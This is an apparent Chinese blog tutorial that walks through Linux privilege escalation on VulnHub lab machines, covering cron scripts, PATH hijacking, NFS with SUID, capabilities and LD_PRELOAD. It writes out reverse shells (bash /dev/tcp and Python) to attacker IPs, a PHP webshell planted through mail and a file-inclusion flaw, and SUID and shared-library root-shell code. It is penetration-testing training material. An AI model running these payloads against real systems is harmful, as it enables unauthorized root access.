Linux-配置不当导致的提权

cron -计划任务提权

靶场环境Jarbas: 1 ~ VulnHub

提升条件:Web或用户权限进行查看,任务文件可修改

1 信息收集:

nmap 192.168.2.0/24
 


扫目录
http://192.168.2.8/access.html # 给了账号密码eder/vipsu

 

2 权限获取:

http://192.168.139.152:8080/ # 账号eder/密码vipsu

Jenkins创建任务,添加反弹,立即构建

nc -lvvp 6666
bash -i >& /dev/tcp/192.168.2.26/5555 0>&1

 

3 权限提升:

cat /etc/crontab  #查看计算机当前计划任务列表
     #root每5分钟执行/etc/script/CleaningScript.sh 
cat /etc/script/CleaningScript.sh   #查看计划任务内容
    #删除日志rm -rf /var/log/httpd/access_log.txt
ls -lia /etc/script/CleaningScript.sh  
    #查看任务文件的权限  可执行
反弹shell
nc -lvvp 6666
echo "/bin/bash -i >& /dev/tcp/192.168.2.8/6666 0>&1" >> /etc/script/CleaningScript.sh

查看计算机当前计划任务列表
 


反弹shell写入计划任务 5分钟收到反弹shell

PATH-变量提权

环境
symfonos: 1 ~ VulnHub

提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限

1 信息收集

开放445 SMB服务

smbclient -L 192.168.2.9 # 建立连接 有账号helios

2 权限获取:

smbclient //192.168.2.9/anonymous  #连接anonymous  回车连接成功
ls   
get attention.txt   #下载文件到本地  
cat attention.txt   #文件给了三个密码
exit
smbclient //192.168.2.9/helios -U helios  
    #使用用户名helios连接共享文件夹 helios
    #账号 helios \ 密码qwerty
ls  
get todo.txt
cat todo.txt  #告诉你有个目录/h3l105   wordpress搭建的网站

3 漏洞利用

使用wpscan针对WordPress网站进行扫描
wpscan --url http://192.168.2.9/h3l105/ --plugins-detection aggressive
 


searchsploit mail masta 1.0 # kali自带漏洞库 搜mail masta 1.0相关漏洞的命令
本地文件包含
 


find / -name 40290.txt
cat /usr/share/exploitdb/exploits/php/webapps/40290.txt
文件给到我们一个地址
 


http://192.168.2.9/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd # 文件包含存在

telnet 192.168.2.9 25 # 连接25端口 发送一封邮件 邮件里面包含后门

邮件格式  data内容
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT
#内容不显示  证明代码被执行了

 


http://192.168.2.9/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=id # 执行id命令
 


把id命令换成反弹shell

http://192.168.2.9/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.26",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

4 权限提升:

python -c 'import pty;pty.spawn("/bin/bash")' #生成一个终端

find / -perm -u=s -type f 2>/dev/null   
    #查看suid 其他像系统自带的 /opt/statuscheck像个人创建,用户自定义的  

strings /opt/statuscheck   #提取二进制文件  有能执行调用的curl命令 -> curl开始指向/usr/bin/curl 添加环境变量后  就会执行/tmp/curl的sh

cd /tmp     #在/tmp目录下有一个curl文件 执行的作用/bin/sh

echo "/bin/sh" > curl

chmod 777 curl

export PATH=/tmp:$PATH

echo $PATH

/opt/statuscheck

/tmp目录是没有curl的 通过echo "/bin/sh" > curl命令创建了个curl
 

 

chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH   相当于把curl加入到环境变量

 


最后在执行/opt/statuscheck是因为里面包含curl 会调用curl执行命令

NFS-安全提权

Web权限 普通用户权限都可以提权
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源
环境:
需要virtualbox搭建
hacksudo: 2 (HackDudo) ~ VulnHub

提升条件:NFS服务开启和web或用户权限进行利用

1 信息收集:

nmap 192.168.1.6

http://192.168.1.6/file.php?file=/etc/passwd

2 NFS服务利用

showmount -e 192.168.1.6 # 查询 NFS服务器上共享目录
mkdir nfs
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs
    #将远程主机192.168.1.6的NFS共享目录/mnt/nfs挂载到本地的./nfs目录  
    #我只要在本地nfs加入东西  远程的主机也会添加
    #生成一个1.php的后门文件  放入本地NFS目录进行文件包含
cd /root/nfs   #添加权限
chmod 777 1.php

通过webshell连接 http://192.168.1.6/file.php?file=/mnt/nfs/1.php

where find
cp /usr/bin/fin  xiaodi
chmod 777 xiaodi
chmod +s xiaodi   #赋予suid权限 
/mnt/nfs/xiaodi  ./  -exec “whoami”\;    #通过find提权  结果失败  版本不同兼容有问题

 

3 配合SUID提权

注意gcc编译机器与目标机内核版本相似

使用老版本系统编译c文件
创建getroot.c文件
内容:
#include<stdlib.h>
#include<unistd.h>

int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
gcc getroot.c -o getroot
cp getroot /root/nfs  #复制bash到挂载目录下
chmod +s getroot   #赋予suid权限
find / -perm -u=s -type f 2>/dev/null 再看看是否加入
cd /mnt/nfs     # 目标机
./getroot       # 目标机

Capability能力

web&普通用户

1 原理

Linux提权之:利用capabilities提权 - f_carey - 博客园
suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

cp /usr/bin/php /tmp/php  #将php的文件复制到/tmp/php
chmod +x /tmp/php
setcap cap_setuid+ep /tmp/php  #给php文件设置setuid的能力->允许改变用户id
getcap -r / 2>/dev/null # 查看所有能力
    #删除能力:setcap -r /tmp/php
    #查看单个能力:getcap /usr/bin/php

 


权限参考

2 普通用户利用提权

su test 
bash
getcap -r / 2>/dev/null  #看看有冇有利用的能力 发现php可以利用

 


/tmp/php -r "posix_setuid(0); system('/bin/sh');"

3 Hacker_Kid靶场

WP参考: Hacker_Kids靶机渗透WP - 简书

环境:Hacker kid: 1.0.1 ~ VulnHub

LD_Preload加载

1 具体参考

使用LD_Preload的Linux权限升级技巧 - 渗透测试中心 - 博客园
让程序执行器预加载.so
结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权

2 提权

满足条件

Defaults        env_keep += LD_PRELOAD  #条件 需要开启LD_PRELOAD
test  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find  #还要满足sudo可以执行的

etc/sudoers文件 设置LD_preload的环境
 


赋予test普通用户一些sudo权限
 


在/tmp目录中生成一个C程序文件

su test
cd /tmp
nano shell.c

文件内容
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

 


编译成.so文件 在Windows操作系统中使用.dll文件

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

ls -al shell.so

sudo LD_PRELOAD=/tmp/shell.so find #在程序启动时优先加载指定的共享库.so文件

whoami

 

 

同理如果是一个脚本代码
Defaults        env_keep += LD_PRELOAD
test  ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh

执行命令sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh

 

CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制

CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制

CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID

CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位

CAP_KILL 5 允许对不属于自己的进程发送信号

CAP_SETGID 6 允许改变组ID

CAP_SETUID 7 允许改变用户ID

CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)

CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性

CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口

CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)

CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.

CAP_NET_RAW 13 允许使用原始(raw)套接字

CAP_IPC_LOCK 14 允许锁定共享内存片段

CAP_IPC_OWNER 15 忽略IPC所有权检查

CAP_SYS_MODULE 16 插入和删除内核模块

CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问

CAP_SYS_CHROOT 18 允许使用chroot()系统调用

CAP_SYS_PTRACE 19 允许跟踪任何进程

CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)

CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.

CAP_SYS_BOOT 22 允许重新启动系统

CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级

CAP_SYS_RESOURCE 24 忽略资源限制

CAP_SYS_TIME 25 允许改变系统时钟

CAP_SYS_TTY_CONFIG 26 允许配置TTY设备

CAP_MKNOD 27 允许使用mknod()系统调用

CAP_LEASE 28 允许在文件上建立租借锁

CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值